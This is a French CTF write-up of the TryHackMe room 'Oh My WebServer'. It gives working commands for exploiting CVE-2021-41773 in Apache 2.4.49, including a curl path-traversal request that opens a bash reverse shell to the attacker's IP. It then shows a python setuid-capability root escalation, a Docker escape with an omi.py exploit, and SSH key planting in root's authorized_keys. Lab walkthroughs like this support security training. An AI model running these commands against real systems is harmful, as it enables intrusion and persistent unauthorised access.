Can you root me?
Oh My WebServer est un CTF medium de TryHackme. Il faut exploiter une faille bien connue sur Apache 2.4.49 et par la suite s’échapper de Docker.
Commande :
nmap -T5 -p- -sVC 10.10.242.208
Sur le port 80, il y Apache2 qui tourne avec la version 2.4.49. il existe une vulnérabilité bien connue et facile à exploiter. CVE-2021-41773
L’exploitation de cette faille est très simple. Il suffit de faire une requête Curl vers /cgi-bin pour obtenir un reverse shell.
Commande :
curl -v ‘http://10.10.242.208:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash’ -d ‘echo Content-Type: text/plain; echo; /bin/bash -i >& /dev/tcp/10.11.38.124/4848 0>&1’ -H « Content-Type: text/plain »
On atterrit dans un conteneur Docker comme on peut le voir avec la commande ls -al /
python3.7 a des capabilities setuid.
Commande :
getcap -r 2>/dev/null
Le site gtfobins nous une manière d’utilisé cette configuration pour passer sur le compte root.
Commande :
/usr/bin/python3.7 -c ‘import os; os.setuid(0); os.system(« /bin/sh »)’
Dans le dossier /tmp se trouve un fichier omi.py. C’est grâce à cela que l’on a la possibilité de sortir du conteneur et d’obtenir des droits root.
Commande :
/usr/bin/python3.7 omi.py -t 10.10.242.208 -c ‘cat /root/flag.txt’
Désolé, la capture n’est pas complète au niveau de la commande.
Il est aussi possible d’insérer une clé public dans le fichier /root/.ssh/authorized_keys
Commande pour créer une paire de clé privée/public :
ssh-keygen
Commande :
usr/bin/python3.7 omi.py -t 10.10.242.208 -c ‘echo public key here’ >> /root/.ssh/authorized_keys
Il faut ensuite se connecter avec cette commande :
ssh root@10.10.242.208 -i id_rsa
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.